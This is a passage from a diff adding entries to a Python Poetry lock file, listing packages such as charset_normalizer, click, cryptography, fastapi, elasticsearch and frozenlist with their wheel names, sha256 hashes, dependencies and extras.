"sha256:1f30b48dd7fa1474554b0b0f3fdfdd4c13b5c737a3c6284d3cdc424ec0ffff3a"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:246de67b99b6851627d945db38147d1b209a899311b1305dd84916f2b88526c6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9bd9b3b31adcb054116447ea22caa61a285d92e94d710aa5ec97992ff5eb7cf3"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:8c2f5e83493748286002f9369f3e6607c565a6a90425a3a1fef5ae32a36d749d"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3170c9399da12c9dc66366e9d14da8bf7147e1e9d9ea566067bbce7bb74bd9c2"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:7a4826ad2bd6b07ca615c74ab91f32f6c96d08f6fcc3902ceeedaec8cdc3bcd6"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:3b1613dd5aee995ec6d4c69f00378bbd07614702a315a2cf6c1d21461fe17c23"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e608aafdb55eb9f255034709e20d5a83b6d60c054df0802fa9c9883d0a937aa"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win32.whl", hash = "sha256:f2a1d0fd4242bd8643ce6f98927cf9c04540af6efa92323e9d3124f57727bfc1"}, + {file = "charset_normalizer-3.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:681eb3d7e02e3c3655d1b16059fbfb605ac464c834a0c629048a30fad2b27489"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c57921cda3a80d0f2b8aec7e25c8aa14479ea92b5b51b6876d975d925a2ea346"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:41b25eaa7d15909cf3ac4c96088c1f266a9a93ec44f87f1d13d4a0e86c81b982"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f058f6963fd82eb143c692cecdc89e075fa0828db2e5b291070485390b2f1c9c"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a7647ebdfb9682b7bb97e2a5e7cb6ae735b1c25008a70b906aecca294ee96cf4"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eef9df1eefada2c09a5e7a40991b9fc6ac6ef20b1372abd48d2794a316dc0449"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e03b8895a6990c9ab2cdcd0f2fe44088ca1c65ae592b8f795c3294af00a461c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:ee4006268ed33370957f55bf2e6f4d263eaf4dc3cfc473d1d90baff6ed36ce4a"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:c4983bf937209c57240cff65906b18bb35e64ae872da6a0db937d7b4af845dd7"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:3bb7fda7260735efe66d5107fb7e6af6a7c04c7fce9b2514e04b7a74b06bf5dd"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:72814c01533f51d68702802d74f77ea026b5ec52793c791e2da806a3844a46c3"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:70c610f6cbe4b9fce272c407dd9d07e33e6bf7b4aa1b7ffb6f6ded8e634e3592"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win32.whl", hash = "sha256:a401b4598e5d3f4a9a811f3daf42ee2291790c7f9d74b18d75d6e21dda98a1a1"}, + {file = "charset_normalizer-3.2.0-cp37-cp37m-win_amd64.whl", hash = "sha256:c0b21078a4b56965e2b12f247467b234734491897e99c1d51cee628da9786959"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:95eb302ff792e12aba9a8b8f8474ab229a83c103d74a750ec0bd1c1eea32e669"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1a100c6d595a7f316f1b6f01d20815d916e75ff98c27a01ae817439ea7726329"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6339d047dab2780cc6220f46306628e04d9750f02f983ddb37439ca47ced7149"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e4b749b9cc6ee664a3300bb3a273c1ca8068c46be705b6c31cf5d276f8628a94"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a38856a971c602f98472050165cea2cdc97709240373041b69030be15047691f"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f87f746ee241d30d6ed93969de31e5ffd09a2961a051e60ae6bddde9ec3583aa"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:89f1b185a01fe560bc8ae5f619e924407efca2191b56ce749ec84982fc59a32a"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1c8a2f4c69e08e89632defbfabec2feb8a8d99edc9f89ce33c4b9e36ab63037"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:2f4ac36d8e2b4cc1aa71df3dd84ff8efbe3bfb97ac41242fbcfc053c67434f46"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a386ebe437176aab38c041de1260cd3ea459c6ce5263594399880bbc398225b2"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:ccd16eb18a849fd8dcb23e23380e2f0a354e8daa0c984b8a732d9cfaba3a776d"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:e6a5bf2cba5ae1bb80b154ed68a3cfa2fa00fde979a7f50d6598d3e17d9ac20c"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:45de3f87179c1823e6d9e32156fb14c1927fcc9aba21433f088fdfb555b77c10"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win32.whl", hash = "sha256:1000fba1057b92a65daec275aec30586c3de2401ccdcd41f8a5c1e2c87078706"}, + {file = "charset_normalizer-3.2.0-cp38-cp38-win_amd64.whl", hash = "sha256:8b2c760cfc7042b27ebdb4a43a4453bd829a5742503599144d54a032c5dc7e9e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:855eafa5d5a2034b4621c74925d89c5efef61418570e5ef9b37717d9c796419c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:203f0c8871d5a7987be20c72442488a0b8cfd0f43b7973771640fc593f56321f"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e857a2232ba53ae940d3456f7533ce6ca98b81917d47adc3c7fd55dad8fab858"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e86d77b090dbddbe78867a0275cb4df08ea195e660f1f7f13435a4649e954e5"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4fb39a81950ec280984b3a44f5bd12819953dc5fa3a7e6fa7a80db5ee853952"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2dee8e57f052ef5353cf608e0b4c871aee320dd1b87d351c28764fc0ca55f9f4"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8700f06d0ce6f128de3ccdbc1acaea1ee264d2caa9ca05daaf492fde7c2a7200"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1920d4ff15ce893210c1f0c0e9d19bfbecb7983c76b33f046c13a8ffbd570252"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:c1c76a1743432b4b60ab3358c937a3fe1341c828ae6194108a94c69028247f22"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:f7560358a6811e52e9c4d142d497f1a6e10103d3a6881f18d04dbce3729c0e2c"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c8063cf17b19661471ecbdb3df1c84f24ad2e389e326ccaf89e3fb2484d8dd7e"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:cd6dbe0238f7743d0efe563ab46294f54f9bc8f4b9bcf57c3c666cc5bc9d1299"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1249cbbf3d3b04902ff081ffbb33ce3377fa6e4c7356f759f3cd076cc138d020"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win32.whl", hash = "sha256:6c409c0deba34f147f77efaa67b8e4bb83d2f11c8806405f76397ae5b8c0d1c9"}, + {file = "charset_normalizer-3.2.0-cp39-cp39-win_amd64.whl", hash = "sha256:7095f6fbfaa55defb6b733cfeb14efaae7a29f0b59d8cf213be4e7ca0b857b80"}, + {file = "charset_normalizer-3.2.0-py3-none-any.whl", hash = "sha256:8e098148dd37b4ce3baca71fb394c81dc5d9c7728c95df695d2dca218edf40e6"}, +] + +[[package]] +name = "click" +version = "8.1.4" +description = "Composable command line interface toolkit" +optional = false +python-versions = ">=3.7" +files = [ + {file = "click-8.1.4-py3-none-any.whl", hash = "sha256:2739815aaa5d2c986a88f1e9230c55e17f0caad3d958a5e13ad0797c166db9e3"}, + {file = "click-8.1.4.tar.gz", hash = "sha256:b97d0c74955da062a7d4ef92fadb583806a585b2ea81958a81bd72726cbb8e37"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[[package]] +name = "colorama" +version = "0.4.6" +description = "Cross-platform colored terminal text." +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" +files = [ + {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, + {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, +] + +[[package]] +name = "cryptography" +version = "41.0.2" +description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." +optional = false +python-versions = ">=3.7" +files = [ + {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_universal2.whl", hash = "sha256:01f1d9e537f9a15b037d5d9ee442b8c22e3ae11ce65ea1f3316a41c78756b711"}, + {file = "cryptography-41.0.2-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:079347de771f9282fbfe0e0236c716686950c19dee1b76240ab09ce1624d76d7"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:439c3cc4c0d42fa999b83ded80a9a1fb54d53c58d6e59234cfe97f241e6c781d"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f14ad275364c8b4e525d018f6716537ae7b6d369c094805cae45300847e0894f"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:84609ade00a6ec59a89729e87a503c6e36af98ddcd566d5f3be52e29ba993182"}, + {file = "cryptography-41.0.2-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:49c3222bb8f8e800aead2e376cbef687bc9e3cb9b58b29a261210456a7783d83"}, + {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:d73f419a56d74fef257955f51b18d046f3506270a5fd2ac5febbfa259d6c0fa5"}, + {file = "cryptography-41.0.2-cp37-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:2a034bf7d9ca894720f2ec1d8b7b5832d7e363571828037f9e0c4f18c1b58a58"}, + {file = "cryptography-41.0.2-cp37-abi3-win32.whl", hash = "sha256:d124682c7a23c9764e54ca9ab5b308b14b18eba02722b8659fb238546de83a76"}, + {file = "cryptography-41.0.2-cp37-abi3-win_amd64.whl", hash = "sha256:9c3fe6534d59d071ee82081ca3d71eed3210f76ebd0361798c74abc2bcf347d4"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:a719399b99377b218dac6cf547b6ec54e6ef20207b6165126a280b0ce97e0d2a"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:182be4171f9332b6741ee818ec27daff9fb00349f706629f5cbf417bd50e66fd"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:7a9a3bced53b7f09da251685224d6a260c3cb291768f54954e28f03ef14e3766"}, + {file = "cryptography-41.0.2-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:f0dc40e6f7aa37af01aba07277d3d64d5a03dc66d682097541ec4da03cc140ee"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-macosx_10_12_x86_64.whl", hash = "sha256:674b669d5daa64206c38e507808aae49904c988fa0a71c935e7006a3e1e83831"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7af244b012711a26196450d34f483357e42aeddb04128885d95a69bd8b14b69b"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9b6d717393dbae53d4e52684ef4f022444fc1cce3c48c38cb74fca29e1f08eaa"}, + {file = "cryptography-41.0.2-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:192255f539d7a89f2102d07d7375b1e0a81f7478925b3bc2e0549ebf739dae0e"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:f772610fe364372de33d76edcd313636a25684edb94cee53fd790195f5989d14"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:b332cba64d99a70c1e0836902720887fb4529ea49ea7f5462cf6640e095e11d2"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9a6673c1828db6270b76b22cc696f40cde9043eb90373da5c2f8f2158957f42f"}, + {file = "cryptography-41.0.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:342f3767e25876751e14f8459ad85e77e660537ca0a066e10e75df9c9e9099f0"}, + {file = "cryptography-41.0.2.tar.gz", hash = "sha256:7d230bf856164de164ecb615ccc14c7fc6de6906ddd5b491f3af90d3514c925c"}, +] + +[package.dependencies] +cffi = ">=1.12" + +[package.extras] +docs = ["sphinx (>=5.3.0)", "sphinx-rtd-theme (>=1.1.1)"] +docstest = ["pyenchant (>=1.6.11)", "sphinxcontrib-spelling (>=4.0.1)", "twine (>=1.12.0)"] +nox = ["nox"] +pep8test = ["black", "check-sdist", "mypy", "ruff"] +sdist = ["build"] +ssh = ["bcrypt (>=3.1.5)"] +test = ["pretend", "pytest (>=6.2.0)", "pytest-benchmark", "pytest-cov", "pytest-xdist"] +test-randomorder = ["pytest-randomly"] + +[[package]] +name = "dataclasses-json" +version = "0.5.9" +description = "Easily serialize dataclasses to and from JSON" +optional = false +python-versions = ">=3.6" +files = [ + {file = "dataclasses-json-0.5.9.tar.gz", hash = "sha256:e9ac87b73edc0141aafbce02b44e93553c3123ad574958f0fe52a534b6707e8e"}, + {file = "dataclasses_json-0.5.9-py3-none-any.whl", hash = "sha256:1280542631df1c375b7bc92e5b86d39e06c44760d7e3571a537b3b8acabf2f0c"}, +] + +[package.dependencies] +marshmallow = ">=3.3.0,<4.0.0" +marshmallow-enum = ">=1.5.1,<2.0.0" +typing-inspect = ">=0.4.0" + +[package.extras] +dev = ["flake8", "hypothesis", "ipython", "mypy (>=0.710)", "portray", "pytest (>=7.2.0)", "setuptools", "simplejson", "twine", "types-dataclasses", "wheel"] + +[[package]] +name = "debugpy" +version = "1.6.7" +description = "An implementation of the Debug Adapter Protocol for Python" +optional = false +python-versions = ">=3.7" +files = [ + {file = "debugpy-1.6.7-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b3e7ac809b991006ad7f857f016fa92014445085711ef111fdc3f74f66144096"}, + {file = "debugpy-1.6.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e3876611d114a18aafef6383695dfc3f1217c98a9168c1aaf1a02b01ec7d8d1e"}, + {file = "debugpy-1.6.7-cp310-cp310-win32.whl", hash = "sha256:33edb4afa85c098c24cc361d72ba7c21bb92f501104514d4ffec1fb36e09c01a"}, + {file = "debugpy-1.6.7-cp310-cp310-win_amd64.whl", hash = "sha256:ed6d5413474e209ba50b1a75b2d9eecf64d41e6e4501977991cdc755dc83ab0f"}, + {file = "debugpy-1.6.7-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:38ed626353e7c63f4b11efad659be04c23de2b0d15efff77b60e4740ea685d07"}, + {file = "debugpy-1.6.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:279d64c408c60431c8ee832dfd9ace7c396984fd7341fa3116aee414e7dcd88d"}, + {file = "debugpy-1.6.7-cp37-cp37m-win32.whl", hash = "sha256:dbe04e7568aa69361a5b4c47b4493d5680bfa3a911d1e105fbea1b1f23f3eb45"}, + {file = "debugpy-1.6.7-cp37-cp37m-win_amd64.whl", hash = "sha256:f90a2d4ad9a035cee7331c06a4cf2245e38bd7c89554fe3b616d90ab8aab89cc"}, + {file = "debugpy-1.6.7-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:5224eabbbeddcf1943d4e2821876f3e5d7d383f27390b82da5d9558fd4eb30a9"}, + {file = "debugpy-1.6.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bae1123dff5bfe548ba1683eb972329ba6d646c3a80e6b4c06cd1b1dd0205e9b"}, + {file = "debugpy-1.6.7-cp38-cp38-win32.whl", hash = "sha256:9cd10cf338e0907fdcf9eac9087faa30f150ef5445af5a545d307055141dd7a4"}, + {file = "debugpy-1.6.7-cp38-cp38-win_amd64.whl", hash = "sha256:aaf6da50377ff4056c8ed470da24632b42e4087bc826845daad7af211e00faad"}, + {file = "debugpy-1.6.7-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:0679b7e1e3523bd7d7869447ec67b59728675aadfc038550a63a362b63029d2c"}, + {file = "debugpy-1.6.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:de86029696e1b3b4d0d49076b9eba606c226e33ae312a57a46dca14ff370894d"}, + {file = "debugpy-1.6.7-cp39-cp39-win32.whl", hash = "sha256:d71b31117779d9a90b745720c0eab54ae1da76d5b38c8026c654f4a066b0130a"}, + {file = "debugpy-1.6.7-cp39-cp39-win_amd64.whl", hash = "sha256:c0ff93ae90a03b06d85b2c529eca51ab15457868a377c4cc40a23ab0e4e552a3"}, + {file = "debugpy-1.6.7-py2.py3-none-any.whl", hash = "sha256:53f7a456bc50706a0eaabecf2d3ce44c4d5010e46dfc65b6b81a518b42866267"}, + {file = "debugpy-1.6.7.zip", hash = "sha256:c4c2f0810fa25323abfdfa36cbbbb24e5c3b1a42cb762782de64439c575d67f2"}, +] + +[[package]] +name = "elastic-transport" +version = "8.4.0" +description = "Transport classes and utilities shared among Python Elastic client libraries" +optional = false +python-versions = ">=3.6" +files = [ + {file = "elastic-transport-8.4.0.tar.gz", hash = "sha256:b9ad708ceb7fcdbc6b30a96f886609a109f042c0b9d9f2e44403b3133ba7ff10"}, + {file = "elastic_transport-8.4.0-py3-none-any.whl", hash = "sha256:19db271ab79c9f70f8c43f8f5b5111408781a6176b54ab2e54d713b6d9ceb815"}, +] + +[package.dependencies] +certifi = "*" +urllib3 = ">=1.26.2,<2" + +[package.extras] +develop = ["aiohttp", "mock", "pytest", "pytest-asyncio", "pytest-cov", "pytest-httpserver", "pytest-mock", "requests", "trustme"] + +[[package]] +name = "elasticsearch" +version = "8.8.2" +description = "Python client for Elasticsearch" +optional = false +python-versions = ">=3.6, <4" +files = [ + {file = "elasticsearch-8.8.2-py3-none-any.whl", hash = "sha256:bffd6ce4faaacf90e6f617241773b3da8fb94e2e83554f5508e2fab92ca79643"}, + {file = "elasticsearch-8.8.2.tar.gz", hash = "sha256:bed8cf8fcc6c3be7c254b579de4c29afab021f373c832246f912d37aef3c6bd5"}, +] + +[package.dependencies] +elastic-transport = ">=8,<9" + +[package.extras] +async = ["aiohttp (>=3,<4)"] +requests = ["requests (>=2.4.0,<3.0.0)"] + +[[package]] +name = "fastapi" +version = "0.82.0" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "fastapi-0.82.0-py3-none-any.whl", hash = "sha256:a4269329a7374c78f6e92c195d14cc4ce3a525e25b79e62edf2df8196469743f"}, + {file = "fastapi-0.82.0.tar.gz", hash = "sha256:5ee7b7473a55940a18d4869ff57d29c372363bf8d3033a0e660a8cf38b1d3d9e"}, +] + +[package.dependencies] +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" +starlette = "0.19.1" + +[package.extras] +all = ["email_validator (>=1.1.1,<2.0.0)", "itsdangerous (>=1.1.0,<3.0.0)", "jinja2 (>=2.11.2,<4.0.0)", "orjson (>=3.2.1,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "pyyaml (>=5.3.1,<7.0.0)", "requests (>=2.24.0,<3.0.0)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +dev = ["autoflake (>=1.4.0,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "passlib[bcrypt] (>=1.7.2,<2.0.0)", "pre-commit (>=2.17.0,<3.0.0)", "python-jose[cryptography] (>=3.3.0,<4.0.0)", "uvicorn[standard] (>=0.12.0,<0.18.0)"] +doc = ["mdx-include (>=1.4.1,<2.0.0)", "mkdocs (>=1.1.2,<2.0.0)", "mkdocs-markdownextradata-plugin (>=0.1.7,<0.3.0)", "mkdocs-material (>=8.1.4,<9.0.0)", "pyyaml (>=5.3.1,<7.0.0)", "typer (>=0.4.1,<0.5.0)"] +test = ["anyio[trio] (>=3.2.1,<4.0.0)", "black (==22.3.0)", "databases[sqlite] (>=0.3.2,<0.6.0)", "email_validator (>=1.1.1,<2.0.0)", "flake8 (>=3.8.3,<6.0.0)", "flask (>=1.1.2,<3.0.0)", "httpx (>=0.14.0,<0.19.0)", "isort (>=5.0.6,<6.0.0)", "mypy (==0.910)", "orjson (>=3.2.1,<4.0.0)", "peewee (>=3.13.3,<4.0.0)", "pytest (>=6.2.4,<7.0.0)", "pytest-cov (>=2.12.0,<4.0.0)", "python-multipart (>=0.0.5,<0.0.6)", "requests (>=2.24.0,<3.0.0)", "sqlalchemy (>=1.3.18,<1.5.0)", "types-dataclasses (==0.6.5)", "types-orjson (==3.6.2)", "types-ujson (==4.2.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0,<6.0.0)"] + +[[package]] +name = "fastapi-class" +version = "2.0.0" +description = "Classes and Decorators to use FastAPI with Class based routing" +optional = false +python-versions = ">=3.8" +files = [ + {file = "fastapi_class-2.0.0-py3-none-any.whl", hash = "sha256:79c3349bc134a3c8ef54b8eec41265cb78ed3dc300e49550c3c02c8886737090"}, + {file = "fastapi_class-2.0.0.tar.gz", hash = "sha256:39af59d0529eaa2694793806c3c29ea9ec79134540b17b8df5f50a6602b4991d"}, +] + +[package.dependencies] +fastapi = ">=0.65.2,<0.90.0" +pydantic = ">=1.6.2,<1.7 || >1.7,<1.7.1 || >1.7.1,<1.7.2 || >1.7.2,<1.7.3 || >1.7.3,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0" + +[package.extras] +lint = ["mypy (==0.991)", "pre-commit (==2.21.0)"] +test = ["codecov (==2.1.12)", "httpx", "pytest (==7.2.0)", "pytest-asyncio (==0.20.3)", "pytest-cov (==4.0.0)", "requests (==2.28.1)"] + +[[package]] +name = "filelock" +version = "3.12.2" +description = "A platform independent file lock." +optional = false +python-versions = ">=3.7" +files = [ + {file = "filelock-3.12.2-py3-none-any.whl", hash = "sha256:cbb791cdea2a72f23da6ac5b5269ab0a0d161e9ef0100e653b69049a7706d1ec"}, + {file = "filelock-3.12.2.tar.gz", hash = "sha256:002740518d8aa59a26b0c76e10fb8c6e15eae825d34b6fdf670333fd7b938d81"}, +] + +[package.extras] +docs = ["furo (>=2023.5.20)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +testing = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "diff-cover (>=7.5)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)", "pytest-timeout (>=2.1)"] + +[[package]] +name = "flake8" +version = "5.0.4" +description = "the modular source code checker: pep8 pyflakes and co" +optional = false +python-versions = ">=3.6.1" +files = [ + {file = "flake8-5.0.4-py2.py3-none-any.whl", hash = "sha256:7a1cf6b73744f5806ab95e526f6f0d8c01c66d7bbe349562d22dfca20610b248"}, + {file = "flake8-5.0.4.tar.gz", hash = "sha256:6fbe320aad8d6b95cec8b8e47bc933004678dc63095be98528b7bdd2a9f510db"}, +] + +[package.dependencies] +mccabe = ">=0.7.0,<0.8.0" +pycodestyle = ">=2.9.0,<2.10.0" +pyflakes = ">=2.5.0,<2.6.0" + +[[package]] +name = "frozenlist" +version = "1.3.3" +description = "A list-like structure which implements collections.abc.MutableSequence" +optional = false +python-versions = ">=3.7" +files = [ + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ff8bf625fe85e119553b5383ba0fb6aa3d0ec2ae980295aaefa552374926b3f4"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:dfbac4c2dfcc082fcf8d942d1e49b6aa0766c19d3358bd86e2000bf0fa4a9cf0"}, + {file = "frozenlist-1.3.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b1c63e8d377d039ac769cd0926558bb7068a1f7abb0f003e3717ee003ad85530"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7fdfc24dcfce5b48109867c13b4cb15e4660e7bd7661741a391f821f23dfdca7"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c926450857408e42f0bbc295e84395722ce74bae69a3b2aa2a65fe22cb14b99"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1841e200fdafc3d51f974d9d377c079a0694a8f06de2e67b48150328d66d5483"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f470c92737afa7d4c3aacc001e335062d582053d4dbe73cda126f2d7031068dd"}, + {file = "frozenlist-1.3.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:783263a4eaad7c49983fe4b2e7b53fa9770c136c270d2d4bbb6d2192bf4d9caf"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:924620eef691990dfb56dc4709f280f40baee568c794b5c1885800c3ecc69816"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ae4dc05c465a08a866b7a1baf360747078b362e6a6dbeb0c57f234db0ef88ae0"}, + {file = "frozenlist-1.3.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = 